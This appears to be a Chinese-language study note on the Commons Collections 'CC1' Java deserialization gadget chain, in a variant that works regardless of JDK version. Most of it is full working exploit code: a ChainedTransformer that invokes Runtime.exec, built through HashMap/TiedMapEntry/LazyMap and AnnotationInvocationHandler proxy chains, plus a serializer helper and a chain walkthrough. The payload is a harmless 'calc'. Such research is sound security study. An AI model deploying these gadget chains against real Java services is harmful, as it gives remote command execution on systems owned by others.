CC1 plus(不受jdk版本限制)
前文所分析利用的CC1链会受到jdk的版本限制
受jdk版本限制原因:
在jdk1.8.0_71之后的版本AnnotationInvocationHandler.readObject()均被重写,删掉了其中的menbervalue.setValue()
执行代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Calendar;
import java.util.HashMap;
import java.util.Map;
public class CC1plus {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, NoSuchFieldException {
//以下两种方法分别对应流程图中的链2和链3
// standard_yso_CC1();
HashMap_CC1();
}
public static Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
public static ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
public static Object HashMap_CC1() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException {
Map<Object,Object> hashMap1 = new HashMap<>();hashMap1.put("set_key","set_value");
Map<Object,Object> lazymap = LazyMap.decorate(hashMap1,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"useful");
HashMap<Object,Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry,"nouseful");
//解决方法一( 清空LazyMap.map中TiedMapEntry.key对应的value )操作验证可行:
lazymap.remove(tiedMapEntry.getKey());
//解决方法二( 修改TiedMapEntry.key )不知道为什么不行,失败了,找到原因再回来填坑:
// Class cl = TiedMapEntry.class;
// Field tiedMapEntryField = cl.getDeclaredField("key");
// tiedMapEntryField.setAccessible(true);
// tiedMapEntryField.set(tiedMapEntry,"randomioasdasidjoasd");
// System.out.println(tiedMapEntryField.get(tiedMapEntry));
serializer.serialize(hashMap2);
return serializer.unserialize();
}
public static void standard_yso_CC1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
System.out.println("无版本要求,使用了AnnotationInvocationHandler.invoke()触发 LazyMap.get()执行LazyMap.factory.transform(key) ,key 就是 invoke()中的this.memberValues.get(key)");
HashMap<Object,Object> map = new HashMap<>();
map.put("set_key","set_value");
LazyMap lazymap = (LazyMap) LazyMap.decorate(map,chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
InvocationHandler proxyInvocationHandler = (InvocationHandler) annotationInvocationHandlerconstructor.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},proxyInvocationHandler);
Object end_anno = annotationInvocationHandlerconstructor.newInstance(Override.class,mapproxy);
serializer.serialize(end_anno);
serializer.unserialize();
}
}
代码语言:javascript复制HashMap链解析:
1 : HashMap.readObject()->HashMap.hash(HashMap.key)->HashMap.key.hashCode()
2 : 令HashMap.key = TiedMapEntry
3 : TiedMapEntry.hashCode()->TiedMapEntry.map.get(TiedMapEntry.key)//.hashCode()
4 : 令TiedMapEntry.map = LazyMap
5 : LazyMap.get(TiedMapEntry.key) ->
6 : if (LazyMap.map.containsKey(TiedMapEntry.key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}
7 : 令LazyMap.factory = ChainedTransformer
8 : ChainedTransformer.transform()
Notice: 因为LazyMap.put()输入键值对会触发hashCode函数,这时TiedMapEntry.key没有对应的value值时才会执行transform然后弹出计算器,并将transform执行结果作为键值key的value,那么此时map的key键值对就有value了
方法一 : 在序列化前将LazyMap的map中的TiedMapEntry.key键值对应的value清空
方法二 : 在序列化前修改TiedMapEntry对象的key,这样子的话新的键值TiedMapEntry.key在LazyMap.map中依然没有对应的value
代码语言:javascript复制
问题?
不知道为什么打断点调试会发现TiedMapEntry在实例化操作赋值map和key的时候会分别弹一次计算器,但是不打断点只会弹一次(或者有时候弹一次有时候弹两次) ?
HashMap的链子在序列化过程中LazyMap.put()的执行会在LazyMap.map.put()实现,然后再函数中执行hash(key)导致弹窗
helper-serializer.class
代码语言:javascript复制import java.io.*;
public class serializer {
public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize();
}
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("D:/data.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
}
public static Object unserialize() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("D:/data.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
return objectInputStream.readObject();
}
}